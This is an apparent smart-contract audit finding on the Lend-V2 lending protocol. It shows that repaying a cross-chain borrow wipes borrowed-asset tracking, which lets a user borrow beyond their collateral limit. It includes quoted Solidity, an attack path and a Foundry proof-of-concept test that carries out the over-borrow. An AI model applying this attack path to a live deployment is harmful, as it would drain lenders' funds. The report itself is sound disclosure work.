Scrawny Red Sloth

High

# Faulty `borrowedAssets` tracking enables borrowers to exceed `maxBorrow` limits

### Summary

When a user performs a cross-chain borrow by depositing collateral i.e `tokenB` on `chainB` and borrowing `tokenA` on `chainA`, then depositing `tokenC` on `chainA` and borrowing more `tokenA` on `chainA`, they will wind up with zero borrowed assets tracked by protocol the momment they clear their cross chain debt.
This allows them to make more borrows on same `chainA` beyond what their collateral i.e `tokenC` deposted earlier should allow.

### Root Cause

When users perfom borrows, the asset is added for them as one of their borrowed assets This is done for both same-chain and cross-chain borrows as follows:
```solidity
    lendStorage.addUserBorrowedAsset(msg.sender, _lToken);
```
Now, if `alice` alice deposits `tokenB` on `chainB` as collateral and borrows `tokenA` on `chainA`, `lTokenA` will be added as one of their borrowed assets.
Again, if she deposits `tokenC` on `chainA` as collateral and performs same-chain borrow of `tokenA`, the `addUserBorrowedAsset()` will be invoked again but since `lTokenA` wa salready added for them, this will be skipped.

Later, `alice` chooses to repay her full cross-chain repay and this will be done in [`_updateRepaymentState()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L518-L522):
```solidity
        if (repayAmountFinal == borrowedAmount) {
            lendStorage.removeCrossChainCollateral(borrower, _token, index);
            if (userCrossChainCollaterals.length == 1) {
                // @audit The asset is removed here
>>              lendStorage.removeUserBorrowedAsset(borrower, _lToken);
            }
        }
```
After this, the user now has zero borrowed assets as it has aleady been removed, except, they still have a same-chain borrow of this token. Also, the user can simply redeem all their collateral they deposted on `chainB` as they are not backing any borrow so far.

Now, if `alice` chooses to perform another same-chain borrow in `chainA` of `tokenA`, this time around, the following check will be done in [`borrow()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L152-L161):
```solidity
        // @audit user's borrowed and collateral is retrieved here
        (uint256 borrowed, uint256 collateral) =
            lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, LToken(payable(_lToken)), 0, _amount);

        LendStorage.BorrowMarketState memory currentBorrow = lendStorage.getBorrowBalance(msg.sender, _lToken);
        // @audit scaling done
        uint256 borrowAmount = currentBorrow.borrowIndex != 0
            ? ((borrowed * LTokenInterface(_lToken).borrowIndex()) / currentBorrow.borrowIndex)
            : 0;

        // @audit This check is flawed
>>      require(collateral >= borrowAmount, "Insufficient collateral");
```
Now, lets see how [`getHypotheticalAccountLiquidityCollateral()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L385-L467) actually calculates the borrowed and collateral during this time:
```solidity
    function getHypotheticalAccountLiquidityCollateral(
        address account,
        LToken lTokenModify,
        uint256 redeemTokens,
        uint256 borrowAmount
    ) public view returns (uint256, uint256) {
        AccountLiquidityLocalVars memory vars;

        // Calculate collateral value from supplied assets
        address[] memory suppliedAssets = userSuppliedAssets[account].values();
        // @audit This will be empty
>>      address[] memory borrowedAssets = userBorrowedAssets[account].values();

        // First loop: Calculate collateral value from supplied assets
        for (uint256 i = 0; i < suppliedAssets.length;) {
            ---snip---

            // Add to collateral sum
            vars.sumCollateral =
                mul_ScalarTruncateAddUInt(vars.tokensToDenom, lTokenBalanceInternal, vars.sumCollateral);

            unchecked {
                ++i;
            }
        }

        // Second loop: Calculate borrow value from borrowed assets
        // @audit This loop is skipped
>>      for (uint256 i = 0; i < borrowedAssets.length;) {
            ---snip---

            // Add to borrow sum
            vars.sumBorrowPlusEffects =
                mul_ScalarTruncateAddUInt(vars.oraclePrice, totalBorrow, vars.sumBorrowPlusEffects);

            unchecked {
                ++i;
            }
        }

        // Handle effects of current action
        if (address(lTokenModify) != address(0)) {
            vars.oraclePriceMantissa = UniswapAnchoredViewInterface(priceOracle).getUnderlyingPrice(lTokenModify);
            vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});

            // Add effect of redeeming collateral
            if (redeemTokens > 0) {
                vars.collateralFactor = Exp({
                    mantissa: LendtrollerInterfaceV2(lendtroller).getCollateralFactorMantissa(address(lTokenModify))
                });
                vars.exchangeRate = Exp({mantissa: lTokenModify.exchangeRateStored()});
                vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);
                vars.sumBorrowPlusEffects =
                    mul_ScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);
            }

            // Add effect of new borrow
            // @audit Twill only report current amount being borrowed
>>          if (borrowAmount > 0) {
                vars.sumBorrowPlusEffects =
                    mul_ScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
            }
        }

        return (vars.sumBorrowPlusEffects, vars.sumCollateral);
    }
```
As seen, two arrays `suppliedAssets` and `borrowedAssets` are populated at the begining. However, since the users borrowed asset was already removed, it means that the second for-loop that handles `borrowedAssets` is skipped. As such, the user's existing borrow is not factored in at this momment. Then the last if-block will only handle the current `borrowAmount` that the user is trying to borrow.

Therefore, the returned `vars.sumBorrowPlusEffects` is way less below what the actual borrow is.  Then,  when the check is done in `borrow()` function, it passes because the `collateral` is reported to be higher than the `borrowed`.

This way, a user manages to borrow excess funds beyond the set `maxBorrow` for his given collateral.


### Internal Pre-conditions

1. Flawed borrowed tokens tracking


### External Pre-conditions

1. User perform both same-chain and cross chain borrow of the same token
2. User fully repays the cross-chain borrow
3. User perfroms another same-chain borrow


### Attack Path

1. User performs both same-chain and cross chain borrow of the same token
2. User fully repays the cross-chain borrow
3. User perfroms another same-chain borrow
4. maxBorrow is exceeded alowwing excess borrow


### Impact

- Users can borrow beyond their collateral limits, leading to undercollateralized positions. If market conditions changes (e.g., price drops), these positions may become insolvent very quickly resulting in liquidations.
- Malicious users can intentionally exploit this flaw to borrow more than allowed, extracting excess liquidity.


### PoC

1. Add the following functions in `test/TestBorrowingCrossChain.t.sol`:
```solidity
    function _supplyAWithUser(uint256 amount, address user) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);

        token = supportedTokensA[0];
        lToken = lendStorageA.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouterA), amount);
        coreRouterA.supply(amount, token);
        vm.stopPrank();
    }

    function _supplyC(uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);

        token = supportedTokensA[1];
        lToken = lendStorageA.underlyingTolToken(token);
        
        vm.startPrank(deployer);
        ERC20Mock(token).mint(deployer, amount);
        IERC20(token).approve(address(coreRouterA), amount);
        coreRouterA.supply(amount, token);
        vm.stopPrank();
    }
```
2. Add the following test in the same file:
```solidity
    function test_flawed_borrowedAssets_tracking_allows_for_borrows_beyond_maxBorrow
    (
        uint256 amountToSupply,
        uint256 amountToBorrow
    ) public {
        // Bound amount between 1e18 and 1e30 to ensure reasonable test values
        amountToSupply = bound(amountToSupply, 1e18, 1e30);

        // Fund Router A with ETH for LayerZero fees
        vm.deal(address(routerB), 1 ether);

        // First supply tokens as collateral on Chain A
        (address tokenB, address lTokenB) = _supplyB(amountToSupply);

        // Deal ether for LayerZero fees
        vm.deal(address(routerB), 1 ether);

        // some random user supplys tokenA in chainA
        (address tokenA, address lTokenA) = _supplyAWithUser(amountToSupply * 2, address(1));

        // Calculate maximum allowed borrow (using actual collateral factor) --> scale down for precision loss
        uint256 maxBorrow = (lendStorageB.getMaxBorrowAmount(deployer, lTokenB) * 0.9e18) / 1e18;

        uint256 boundedBorrow = bound(amountToBorrow, 0.1e18, maxBorrow);

        // Get initial balances
        uint256 initialTokenBalance = IERC20(lendStorageB.underlyingToDestUnderlying(tokenB, CHAIN_A_ID)).
            balanceOf(deployer);

        vm.startPrank(deployer);

        // CROSS CHAIN BORROW
        routerB.borrowCrossChain(boundedBorrow, tokenB, CHAIN_A_ID);

        vm.stopPrank();

        // Verify the borrow was successful
        assertEq(
            IERC20(lendStorageB.underlyingToDestUnderlying(tokenB, CHAIN_A_ID)).balanceOf(deployer) 
                - initialTokenBalance,
            boundedBorrow,
            "Should receive correct amount of borrowed tokens"
        );

        // deployer supplys tokenC as collateral in chainA and borrow tokenA
        _supplyC(amountToSupply);

        vm.startPrank(deployer);

        // MAX BORROW AMOUNT CAPPED AT 70%
        // calculate maxBorrowAmount based on this deposited collateral
        uint256 maxBorrowAmount = (amountToSupply * 70) / 100;

        // FIRST SAME-CHAIN BORROW
        // NOTE: User borrows half the maxBorrowAmount
        coreRouterA.borrow(maxBorrowAmount / 2, tokenA);

        // check user borrow tokens
        address[] memory currentDeployerBorrowedAssets = lendStorageA.getUserBorrowedAssets(deployer);
        assertEq(currentDeployerBorrowedAssets.length, 1, "Deployer should have one borrowed assets");
        
        // Check destination borrow details
        LendStorage.Borrow[] memory userBorrows = lendStorageB.getCrossChainBorrows(deployer, tokenB);

        // FULL CROSS CHAIN BORROW REPAYMENT
        uint256 fullAmount = userBorrows[0].principle;
        ERC20Mock(tokenA).mint(deployer, fullAmount);
        IERC20(tokenA).approve(address(coreRouterA), fullAmount);

        routerA.repayCrossChainBorrow(deployer, fullAmount, lTokenA, 31337);

        // check user borrow tokens
        address[] memory finalDeployerBorrowedAssets = lendStorageA.getUserBorrowedAssets(deployer);
        assertEq(finalDeployerBorrowedAssets.length, 0, "Deployer should have no borrowed assets");

        // let deployer redeem all his collateral he deposited on chainB
        // after this, there are no collateral on chainB, ONLY in chainA
        coreRouterB.redeem(lendStorageB.totalInvestment(deployer, lTokenB), payable(lTokenB));

        // SECOND SAME-CHAIN BORROW
        // NOTE: User manages to make away with another 3/4 of maxBorrowAmount
        // allowing them to take upto 87.5% when max should be 70%
        coreRouterA.borrow(maxBorrowAmount * 3 / 4, tokenA);

        vm.stopPrank();
    }
```

### Mitigation

Maintain distinct records for cross-chain and same-chain borrows to prevent incorrect removals.